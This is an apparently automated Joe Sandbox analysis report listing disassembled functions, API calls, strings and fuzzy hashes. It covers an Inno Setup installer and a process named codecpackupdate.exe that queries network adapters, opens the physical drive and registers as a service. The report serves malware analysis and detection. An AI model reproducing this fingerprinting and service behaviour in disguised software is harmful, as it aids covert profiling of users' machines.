Opcode Fuzzy Hash: 02cdd856f79da87946ce3be0036284d170d79325171fd6f69fc8e8dc4402c0b0
Instruction Fuzzy Hash: E5A10734700104DFD711DB69D985EAD77F5EF89304F2640BAE8049B362EB39AE41DB49

Uniqueness

Uniqueness Score: -1.00%

Function 004248B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 004248D5
WaitMessage.USER32(00000000,004249C9,?,?,?,?), ref: 004249A9

Strings

)I, xrefs: 00424962, 0042496C, 004249BB

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CursorMessageWait
String ID: )I
API String ID: 4021538199-2943873603
Opcode ID: bb51d86f2fc56d9b79fd6e24fc7d3904fa82574d4d9fbf57c4ed1671c248813e
Instruction ID: 3684f1357379c85a98af1ae3a8e7e482b9cd7f2697edbb5586c2bc0712e370a9
Opcode Fuzzy Hash: bb51d86f2fc56d9b79fd6e24fc7d3904fa82574d4d9fbf57c4ed1671c248813e
Instruction Fuzzy Hash: 5D31D4B07002249BCB21EF39D48179FB7B5EFC8304F96456AEC049B385DB789D80CA99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,0000044B,00000000,?), ref: 0044F895
ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 0044F8C6

Strings

open, xrefs: 0044F8B9

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ExecuteMessageSendShell
String ID: open
API String ID: 812272486-2758837156
Opcode ID: 39befbd8bfe4d04ca9f0ad22fe8eee91a23e6983e02579a401e517ae9ce6b0ad
Instruction ID: 7c1a3c7c8ebbf10466e07294f195938a80af8ea232d4303b03533db3f0a8dc42
Opcode Fuzzy Hash: 39befbd8bfe4d04ca9f0ad22fe8eee91a23e6983e02579a401e517ae9ce6b0ad
Instruction Fuzzy Hash: ED213270E00644AFEB00EF69C881A9EB7F8EB44704F60857BF501FB391D7789A498A58

Uniqueness

Uniqueness Score: -1.00%

Function 004686F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

Failed to proceed to next wizard page; showing wizard., xrefs: 004687E1
Failed to proceed to next wizard page; aborting., xrefs: 004687CD

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID:
String ID: Failed to proceed to next wizard page; aborting.$Failed to proceed to next wizard page; showing wizard.
API String ID: 0-1974262853
Opcode ID: cfba3478a7359d3cbe5014acf16baf13cc054a1082433b199a19fc1bb0af4262
Instruction ID: f19096d41c4aac5864f1bb8ccf8968ed334c7e4c4402baa3f8ad6812cbe3c8f9
Opcode Fuzzy Hash: cfba3478a7359d3cbe5014acf16baf13cc054a1082433b199a19fc1bb0af4262
Instruction Fuzzy Hash: 2621B074A04204AFD701EBA9D985E99B7F4EF45315F2541BBF404AB392EB38AE40CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00453A00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

ShellExecuteEx.SHELL32(0000003C), ref: 00453A94
GetLastError.KERNEL32(0000003C,00000000,00453ADD,?,?,00000001,00000001), ref: 00453AA5

Part of subcall function 004536EC: WaitForInputIdle.USER32(00000001,00000032), ref: 00453718
Part of subcall function 004536EC: MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000000FF), ref: 0045373A
Part of subcall function 004536EC: GetExitCodeProcess.KERNEL32(00000001,00000001), ref: 00453749
Part of subcall function 004536EC: CloseHandle.KERNEL32(00000001,00453776,0045376F,?,00000031,00000080,00000000,?,?,00453AC7,00000080,0000003C,00000000,00453ADD), ref: 00453769

Strings

<, xrefs: 00453A48

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Wait$CloseCodeErrorExecuteExitHandleIdleInputLastMultipleObjectsProcessShell
String ID: <
API String ID: 35504260-4251816714
Opcode ID: 5d562b07ccb6d432d664981823a10e5781889d8990a1d6319f014274b2d54e6a
Instruction ID: 731c30c279f4aac689e5cd79ec505c098efd6bab46e48a29a8149d1d071dcc10
Opcode Fuzzy Hash: 5d562b07ccb6d432d664981823a10e5781889d8990a1d6319f014274b2d54e6a
Instruction Fuzzy Hash: 862186B0600249EFDB10DF65D88269E7BE8EF04346F50443AF840E7381D7789E49CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00402584 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(00494420,00000000,)), ref: 004025C7
RtlLeaveCriticalSection.KERNEL32(00494420,0040263D), ref: 00402630

Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(00494420,00000000,00401A82,?,?,0040222E,021771FC,00001B1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(00494420,00494420,00000000,00401A82,?,?,0040222E,021771FC,00001B1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,00494420,00000000,00401A82,?,?,0040222E,021771FC,00001B1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(00494420,00401A89,00000000,00401A82,?,?,0040222E,021771FC,00001B1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Strings

), xrefs: 004025AE

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: )
API String ID: 2227675388-1084416617
Opcode ID: a331b4afa8f9150ecfd6d625d08057cf3307c320ac16a2d40e23e2d78c6b5bf2
Instruction ID: cb504dffcee3235a55bc4261ddae651f31054f91a8da10d6123b862062c9523b
Opcode Fuzzy Hash: a331b4afa8f9150ecfd6d625d08057cf3307c320ac16a2d40e23e2d78c6b5bf2
Instruction Fuzzy Hash: A71101317042046FEB25AB799F1AB2A6AD4D7D575CB24087FF404F36D2D9BD8C02826C

Uniqueness

Uniqueness Score: -1.00%

Function 00490A4E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097), ref: 00490A87

Strings

/INITPROCWND=$%x , xrefs: 00490AB2
@, xrefs: 00490A54

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window
String ID: /INITPROCWND=$%x $@
API String ID: 2353593579-4169826103
Opcode ID: cb4eaf9d1a0e90ba4be06c901a3c5ec9da01a08ec724fec4d2fbca150f0c6e2b
Instruction ID: 8fbfb881858f58605f6fc747a7b473234afd2d79c1019554ad0381eeacbb4dac
Opcode Fuzzy Hash: cb4eaf9d1a0e90ba4be06c901a3c5ec9da01a08ec724fec4d2fbca150f0c6e2b
Instruction Fuzzy Hash: 1611AF71A043099FDF05EBA4D841BAEBFF8EB59318F11447BE504E7281D63CAA05CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00446CA8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9

SysFreeString.OLEAUT32(?), ref: 00446D5A

Strings

NIL Interface Exception, xrefs: 00446CFC
Unknown Method, xrefs: 00446D33

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: String$AllocByteCharFreeMultiWide
String ID: NIL Interface Exception$Unknown Method
API String ID: 3952431833-1023667238
Opcode ID: ee7019810a410abba18dc0100b1505424b4d32fb8a75e66193451ab1ec3a4339
Instruction ID: b72a7a67dd3218f0a3ff88df64177c3b524228aef2acc9d842c2d5e561a8356e
Opcode Fuzzy Hash: ee7019810a410abba18dc0100b1505424b4d32fb8a75e66193451ab1ec3a4339
Instruction Fuzzy Hash: 281196B0B042489FDB10DFA58D52AAEBBBCEB49704F51407AF500E7681D6799D04CA6A

Uniqueness

Uniqueness Score: -1.00%

Function 004902C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,00490388,?,0049037C,00000000,00490363), ref: 0049032E
CloseHandle.KERNEL32(004903C8,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,00490388,?,0049037C,00000000), ref: 00490345

Part of subcall function 00490218: GetLastError.KERNEL32(00000000,004902B0,?,?,?,?), ref: 0049023C

Strings

PI, xrefs: 004902F9, 00490308

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseCreateErrorHandleLastProcess
String ID: PI
API String ID: 3798668922-693334235
Opcode ID: 134415cf5764304d7a85ffb8c38d9270039f25a4b86aed9810cf5e7e1bec3561
Instruction ID: 4ee4de2afa315c5d3ad3dcaece3c94236d659781de1454245e5c0a060b0d81db
Opcode Fuzzy Hash: 134415cf5764304d7a85ffb8c38d9270039f25a4b86aed9810cf5e7e1bec3561
Instruction Fuzzy Hash: 380161B1604648AFDF10DBE1DC82E9FBBACEF48714F51007AB904E7291D6785E048A28

Uniqueness

Uniqueness Score: -1.00%

Function 0042DB9C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,Inno Setup: No Icons,00000000,00000000,00000000,00000000), ref: 0042DBB0
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,Inno Setup: No Icons,00000000,00000000,00000000), ref: 0042DBF0

Strings

Inno Setup: No Icons, xrefs: 0042DBAE

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Value$EnumQuery
String ID: Inno Setup: No Icons
API String ID: 1576479698-2016326496
Opcode ID: 6a1cd3006789d3206220bad9523abcb9a55dd1f6e807552613f35ce7fa4689f1
Instruction ID: d0cbb6ba2be1033d78bdf391082c57df80f69eea6018bcbf63f776eb2494bfb3
Opcode Fuzzy Hash: 6a1cd3006789d3206220bad9523abcb9a55dd1f6e807552613f35ce7fa4689f1
Instruction Fuzzy Hash: 5A018431B8933069F73085266D41B6B558C9B46B64F65003BFA41AA3C0D6DCDC44E26A

Uniqueness

Uniqueness Score: -1.00%

Function 00455040 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000B06,00000000,00000000), ref: 00455055
SendMessageA.USER32(00000000,00000B00,00000000,00000000), ref: 004550E7

Strings

Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x), xrefs: 00455081

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: MessageSend
String ID: Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x)
API String ID: 3850602802-809544686
Opcode ID: 435dea47ab134ee9c233c790085fa77e26bfbdb6ab2bddbea41995d2dc1bd5d4
Instruction ID: 32b2d8f4ecb8be4c0db4edd04b2ba3825a47f3f95082eca841b8c31c2652d296
Opcode Fuzzy Hash: 435dea47ab134ee9c233c790085fa77e26bfbdb6ab2bddbea41995d2dc1bd5d4
Instruction Fuzzy Hash: DF11E5B12042805BD300AB6DDC92F6B7B989BD1708F05803AFA85DF2D2C3794805C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 0049171E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00453D4C: GetCurrentProcess.KERNEL32(00000028), ref: 00453D5B
Part of subcall function 00453D4C: OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00453D61

SetForegroundWindow.USER32(?), ref: 00491750

Strings

Restarting Windows., xrefs: 0049172D
Not restarting Windows because Uninstall is being run from the debugger., xrefs: 0049177B

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Process$CurrentForegroundOpenTokenWindow
String ID: Not restarting Windows because Uninstall is being run from the debugger.$Restarting Windows.
API String ID: 3179053593-4147564754
Opcode ID: 37e7ebe001a7a212cde58e6dd306762509c171bb9304b2fdbc30566b2ae3f974
Instruction ID: 8093b4a282ce56f34fca2c4e27c1e82005ec878bca3fe8f1f990b5ec0d5489bc
Opcode Fuzzy Hash: 37e7ebe001a7a212cde58e6dd306762509c171bb9304b2fdbc30566b2ae3f974
Instruction Fuzzy Hash: 9D0188746042866BEB01EBA5E451F9C2BF99754309F5040BBF400672E3DA7C994A871D

Uniqueness

Uniqueness Score: -1.00%

Function 00470EF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EB8: DeleteFileA.KERNEL32(00000000,00494628,00492509,00000000,0049255E,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406EC3

MoveFileA.KERNEL32(00000000,00000000), ref: 00470F4E

Part of subcall function 00470DA0: GetLastError.KERNEL32(00000000,00470E8C,?,?,?,00495090,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00470F13,00000001), ref: 00470DC1

Strings

DeleteFile, xrefs: 00470F07
MoveFile, xrefs: 00470F29

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: File$DeleteErrorLastMove
String ID: DeleteFile$MoveFile
API String ID: 3195829115-139070271
Opcode ID: db37762c13f4d93e70656b80c95a1045161ff295cb5d74cedc87cd46e1c3362d
Instruction ID: 5dbbe8a549c9c9cfc1e93233b16d66570ebc39fdbd933c087ed96991ed48964b
Opcode Fuzzy Hash: db37762c13f4d93e70656b80c95a1045161ff295cb5d74cedc87cd46e1c3362d
Instruction Fuzzy Hash: 3FF04FA0202200D6DA307A6AD5426DA77888F0135DB50C07BF988AB3C6CABD9C4586AE

Uniqueness

Uniqueness Score: -1.00%

Function 00421C98 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32(00000000,)I,00000000,004219E4,00000000,00000000,00418568,00000000,00000001,?,?,004618B2,00000001,00000000,00000000,00466C49), ref: 00421CBB
GetFocus.USER32 ref: 00421CC9

Strings

)I, xrefs: 00421C99

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Focus
String ID: )I
API String ID: 2734777837-2943873603
Opcode ID: 0a10acb4e0d9c74637569f7b0a18baba00a92d22fcb4ca2a7c7c7526fd4ed3d2
Instruction ID: 6a781247274b35bf802f0d5c88fcb4425cf39f3bc7fec05fcedd95d7989a6849
Opcode Fuzzy Hash: 0a10acb4e0d9c74637569f7b0a18baba00a92d22fcb4ca2a7c7c7526fd4ed3d2
Instruction Fuzzy Hash: ADE09A35B002205ACB1027BA6886BAB21844B64348F58957FB501EB353DD7C8C80068C

Uniqueness

Uniqueness Score: -1.00%

Function 00403344 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,0049293A), ref: 0040334B
GetCommandLineA.KERNEL32(00000000,0049293A), ref: 00403356

Strings

H6c, xrefs: 0040335B

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: H6c
API String ID: 2123368496-3698304253
Opcode ID: 016f57816537cb53ee0d22fead2d74d1c6c49dfd7bcaddc35502ccb39479f9fa
Instruction ID: 6c134d8f911d6f86227fe2926812c1aaae8294de158ab29e80a48ca6d96688b2
Opcode Fuzzy Hash: 016f57816537cb53ee0d22fead2d74d1c6c49dfd7bcaddc35502ccb39479f9fa
Instruction Fuzzy Hash: 00C002609052058AD750AFB5D856F152A949795349F80447FB204B61E1D67C82065BDD

Uniqueness

Uniqueness Score: -1.00%

Function 00453DDC Relevance: 5.0, APIs: 4, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 00453DFB
Sleep.KERNEL32(?), ref: 00453E0B
GetLastError.KERNEL32 ref: 00453E1E
GetLastError.KERNEL32 ref: 00453E28

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 38b3aa0fdc7cf286ae7908819d82f9e16bc075767d4286dc2cbeeb2193c7130c
Instruction ID: 12fd24ff74408153868fcfa923be8ac64c8e349910a1f425c594e0bb2a7a610d
Opcode Fuzzy Hash: 38b3aa0fdc7cf286ae7908819d82f9e16bc075767d4286dc2cbeeb2193c7130c
Instruction Fuzzy Hash: 5CF02B32B04514974F30ADAE98C766FA2DCEA813E7710452BFD08D7303D538DE0986A8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: codecpackupdate.exePID: 7040, Parent PID: 6940COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.7%
Total number of Nodes:	448
Total number of Limit Nodes:	13

Executed Functions

Function 00401B4B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(iphlpapi.dll), ref: 00401B5D
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 00401B74
GetAdaptersInfo.IPHLPAPI(?,00000400), ref: 00401B9D
FreeLibrary.KERNEL32(00401A3E), ref: 00401C1B

Strings

o, xrefs: 00401BF2
GetAdaptersInfo, xrefs: 00401B6E
iphlpapi.dll, xrefs: 00401B58

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll$o
API String ID: 514930453-3667123677
Opcode ID: ccb5438453e322dee9fbf1b1f0840e02b8e5c840e37394e15fd7fcb2dc755fc2
Instruction ID: 989bf52404031a28807fba390b80e1364536d7dfce6c2044dfeb9dc774225594
Opcode Fuzzy Hash: ccb5438453e322dee9fbf1b1f0840e02b8e5c840e37394e15fd7fcb2dc755fc2
Instruction Fuzzy Hash: F521B870944209AFEF21DF65C9447EF7BB8EF41344F1440BAE504B22E1E7789985CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00401A4F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 00401A6B
DeviceIoControl.KERNELBASE(?,002D1400,?,0000000C,?,00000400,00000400,00000000), ref: 00401AB2
GetLastError.KERNEL32 ref: 00401B0E
FindCloseChangeNotification.KERNELBASE(?), ref: 00401B3D

Strings

\\.\PhysicalDrive0, xrefs: 00401A63

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: ChangeCloseControlCreateDeviceErrorFileFindLastNotification
String ID: \\.\PhysicalDrive0
API String ID: 3786717961-1180397377
Opcode ID: 89700505a12f282f270db25e62f1f83fcd7e168e5d3770c0c1e857fe250e7073
Instruction ID: 4be7cd3f819721d39b4e681a90ac86abf8c5b8a7a35c169795375fcfafce56b7
Opcode Fuzzy Hash: 89700505a12f282f270db25e62f1f83fcd7e168e5d3770c0c1e857fe250e7073
Instruction Fuzzy Hash: 5E31AB71D00218EADB21EFA5CD809EFBBB8FF41750F20407AE514B22A0E3785E41CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00402345 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StartServiceCtrlDispatcherA.ADVAPI32 ref: 004026A1

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: CtrlDispatcherServiceStart
String ID:
API String ID: 3789849863-0
Opcode ID: 6dc742ed42f21e6c69dac81c81aca4cf90024d9fc7185b2147acdb0c855cd8ac
Instruction ID: 40a2f8b49cbd42c4c1ae9a929fb38234da1fb277cd8ec946056b9c6573f4ebba
Opcode Fuzzy Hash: 6dc742ed42f21e6c69dac81c81aca4cf90024d9fc7185b2147acdb0c855cd8ac
Instruction Fuzzy Hash: E1A011A020C20AEACA0002808A0C0B2A00CA30A32AB3008B3200FB00C282BC802238AF

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00402F48

Part of subcall function 0040325A: HeapCreate.KERNELBASE(00000000,00001000,00000000,00402F81,00000000), ref: 0040326B
Part of subcall function 0040325A: HeapDestroy.KERNEL32 ref: 004032AA

GetCommandLineA.KERNEL32 ref: 00402F96
GetStartupInfoA.KERNEL32(?), ref: 00402FC1
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00402FE4

Part of subcall function 0040303D: ExitProcess.KERNEL32 ref: 0040305A

Strings

h5`, xrefs: 00402F9C

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

